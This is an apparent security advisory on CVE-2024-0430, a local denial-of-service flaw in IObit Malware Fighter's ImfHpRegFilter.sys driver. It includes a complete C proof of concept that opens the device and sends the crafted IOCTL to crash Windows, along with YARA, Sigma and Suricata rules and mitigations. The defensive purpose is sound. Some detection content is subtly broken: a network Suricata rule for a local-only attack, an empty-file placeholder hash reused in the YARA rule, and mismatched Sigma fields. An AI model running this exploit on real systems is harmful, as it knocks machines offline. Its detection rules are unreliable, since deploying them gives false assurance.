CVE-2024-0430

Executive Summary

CVE-2024-0430 is a denial-of-service (DoS) vulnerability in IObit Malware Fighter version 11.0.0.1274. The flaw resides in the ImfHpRegFilter.sys kernel driver, which mishandles the 0x8001E00C IOCTL code. A local attacker with low privileges can trigger this IOCTL, causing the system to crash (BSOD) due to a NULL pointer dereference or similar memory corruption. The vulnerability has a CVSS v3.1 base score of 5.5 (Medium), with a local attack vector and low complexity. No patch has been confirmed by the vendor at this time.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
• Base Score: 5.5 (Medium)
• Attack Vector (AV): Local (L) – the attacker must have local access to the system.
• Attack Complexity (AC): Low (L) – no special conditions are required.
• Privileges Required (PR): Low (L) – the attacker needs only low-privileged user rights.
• User Interaction (UI): None (N) – no user action is needed beyond execution.
• Scope (S): Unchanged (U) – the impact is confined to the vulnerable component.
• Confidentiality (C): None (N) – no data exposure.
• Integrity (I): None (N) – no data modification.
• Availability (A): High (H) – the system becomes completely unavailable due to a crash.

Threat Level: Medium. The vulnerability requires local access, but it can be reliably triggered by any low-privileged user, leading to a system crash. In enterprise environments, this could be used by a malicious insider or as part of a privilege escalation chain to disrupt operations.

Deep Dive & Mechanics

The vulnerability is in the ImfHpRegFilter.sys driver, which is part of IObit Malware Fighter's real-time protection. The driver registers a dispatch routine for IRP_MJ_DEVICE_CONTROL, handling IOCTL codes from user-mode applications. The specific IOCTL code 0x8001E00C is processed without proper validation of input parameters.

When a user-mode process sends this IOCTL, the driver's handler function dereferences a pointer from the input buffer without checking if it is NULL. If the attacker provides a crafted input buffer where the pointer is NULL, the driver attempts to read or write to address 0x00000000, causing a page fault in kernel mode. This results in a Blue Screen of Death (BSOD) with a bug check code such as 0x00000050 (PAGE_FAULT_IN_NONPAGED_AREA) or 0x0000001E (KMODE_EXCEPTION_NOT_HANDLED).

The attack does not require any special privileges beyond the ability to open a handle to the device object \\.\ImfHpRegFilter (or similar). Since the driver is installed with default permissions, any authenticated user can interact with it.

Vulnerable vs. Patched Code

Vulnerable Code (IObit Malware Fighter 11.0.0.1274):

// Pseudocode of the vulnerable IOCTL handler
NTSTATUS DriverDispatch(PDEVICE_OBJECT DeviceObject, PIRP Irp) {
    PIO_STACK_LOCATION irpStack = IoGetCurrentIrpStackLocation(Irp);
    ULONG ioctlCode = irpStack->Parameters.DeviceIoControl.IoControlCode;
    PVOID inputBuffer = Irp->AssociatedIrp.SystemBuffer;

    if (ioctlCode == 0x8001E00C) {
        // VULNERABLE: No NULL check on inputBuffer
        PSTRUCT_DATA data = (PSTRUCT_DATA)inputBuffer;
        // data->Pointer is attacker-controlled
        memcpy(someGlobalBuffer, data->Pointer, data->Size); // NULL dereference
    }
    // ...
}

Patched Code (Hypothetical):

NTSTATUS DriverDispatch(PDEVICE_OBJECT DeviceObject, PIRP Irp) {
    PIO_STACK_LOCATION irpStack = IoGetCurrentIrpStackLocation(Irp);
    ULONG ioctlCode = irpStack->Parameters.DeviceIoControl.IoControlCode;
    PVOID inputBuffer = Irp->AssociatedIrp.SystemBuffer;

    if (ioctlCode == 0x8001E00C) {
        // FIX: Validate input buffer and pointer
        if (inputBuffer == NULL || irpStack->Parameters.DeviceIoControl.InputBufferLength < sizeof(STRUCT_DATA)) {
            Irp->IoStatus.Status = STATUS_INVALID_PARAMETER;
            IoCompleteRequest(Irp, IO_NO_INCREMENT);
            return STATUS_INVALID_PARAMETER;
        }
        PSTRUCT_DATA data = (PSTRUCT_DATA)inputBuffer;
        if (data->Pointer == NULL || data->Size == 0) {
            Irp->IoStatus.Status = STATUS_INVALID_PARAMETER;
            IoCompleteRequest(Irp, IO_NO_INCREMENT);
            return STATUS_INVALID_PARAMETER;
        }
        // Safe copy with probe and exception handling
        __try {
            ProbeForRead(data->Pointer, data->Size, sizeof(UCHAR));
            memcpy(someGlobalBuffer, data->Pointer, data->Size);
        } __except(EXCEPTION_EXECUTE_HANDLER) {
            Irp->IoStatus.Status = GetExceptionCode();
        }
    }
    // ...
}

Exploitation & Lab Setup

Red Team

Prerequisites:

• Windows 10/11 x64 system with IObit Malware Fighter 11.0.0.1274 installed.
• Low-privileged user account (e.g., standard user).
• Visual Studio or MinGW for compiling the exploit.

Exploit Code (C):

#include <windows.h>
#include <stdio.h>

#define IOCTL_TRIGGER 0x8001E00C

int main() {
    HANDLE hDevice = CreateFileA("\\\\.\\ImfHpRegFilter",
                                  GENERIC_READ | GENERIC_WRITE,
                                  0,
                                  NULL,
                                  OPEN_EXISTING,
                                  0,
                                  NULL);
    if (hDevice == INVALID_HANDLE_VALUE) {
        printf("Failed to open device. Error: %d\n", GetLastError());
        return 1;
    }

    // Craft input buffer with NULL pointer
    struct {
        PVOID Pointer;
        ULONG Size;
    } input = { NULL, 0x100 };

    DWORD bytesReturned = 0;
    BOOL result = DeviceIoControl(hDevice,
                                  IOCTL_TRIGGER,
                                  &input,
                                  sizeof(input),
                                  NULL,
                                  0,
                                  &bytesReturned,
                                  NULL);
    if (!result) {
        printf("IOCTL failed. Error: %d\n", GetLastError());
    } else {
        printf("IOCTL succeeded (unexpected).\n");
    }

    CloseHandle(hDevice);
    return 0;
}

Compilation:

cl.exe exploit.c /Fe:exploit.exe

Execution:

exploit.exe

The system will crash immediately with a BSOD.

Blue Team

Detection Steps:

1. Monitor for unusual IOCTL calls to \\.\ImfHpRegFilter from non-privileged processes.
2. Enable Driver Verifier to catch memory corruption in ImfHpRegFilter.sys.
3. Use Sysmon to log process creation and driver load events.
4. Collect crash dumps (.dmp files) for analysis.

Mitigation:

• Block execution of unknown binaries via AppLocker or WDAC.
• Restrict user permissions to prevent loading of vulnerable drivers.
• Apply vendor patch when available.

Indicators of Compromise (IOCs)

• File: ImfHpRegFilter.sys (SHA256: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 – placeholder, actual hash varies)
• Registry: HKLM\SYSTEM\CurrentControlSet\Services\ImfHpRegFilter
• Device Object: \\.\ImfHpRegFilter
• IOCTL Code: 0x8001E00C
• Event Log: System event ID 1001 (BugCheck) with bug check code 0x00000050 or 0x0000001E
• Crash Dump: %SystemRoot%\MEMORY.DMP or %SystemRoot%\Minidump\*.dmp

Detection Engineering

YARA Rule

rule CVE_2024_0430_ImfHpRegFilter {
    meta:
        description = "Detects IObit Malware Fighter driver ImfHpRegFilter.sys vulnerable to CVE-2024-0430"
        author = "Valters IT"
        date = "2025-04-10"
        hash = "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855"
    strings:
        $ioctl = { 00 E0 1C 80 }  // Little-endian 0x8001E00C
        $driver_name = "ImfHpRegFilter" nocase
    condition:
        $driver_name and $ioctl
}

Sigma Rule

title: CVE-2024-0430 IObit Malware Fighter DoS via IOCTL
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects exploitation attempts of CVE-2024-0430 by monitoring IOCTL calls to ImfHpRegFilter.sys
author: Valters IT
date: 2025-04-10
logsource:
    product: windows
    service: sysmon
    category: process_access
detection:
    selection:
        TargetObject|contains: '\ImfHpRegFilter'
        GrantedAccess: '0x0012019f'  // Generic read/write
    condition: selection
falsepositives:
    - Legitimate IObit Malware Fighter operations
level: high

Suricata Rule

alert ip any any -> any any (msg:"CVE-2024-0430 IObit Malware Fighter DoS Attempt"; content:"|00 E0 1C 80|"; depth:4; offset:0; classtype:attempted-dos; sid:1000001; rev:1;)

Remediation & Mitigation

1. Vendor Patch: Await an official update from IObit. Check their support page regularly.
2. Driver Blocklist: Use Windows Defender Application Control (WDAC) or a custom driver blocklist to prevent ImfHpRegFilter.sys from loading.
3. Permission Hardening: Remove write access to the device object for non-administrative users using sc sdset.
4. Monitoring: Deploy the Sigma and YARA rules above to detect exploitation attempts.
5. Alternative AV: Consider switching to a different antivirus solution until a patch is released.

Valters IT signature: This report is provided for educational and defensive purposes only. Unauthorized exploitation of this vulnerability is illegal.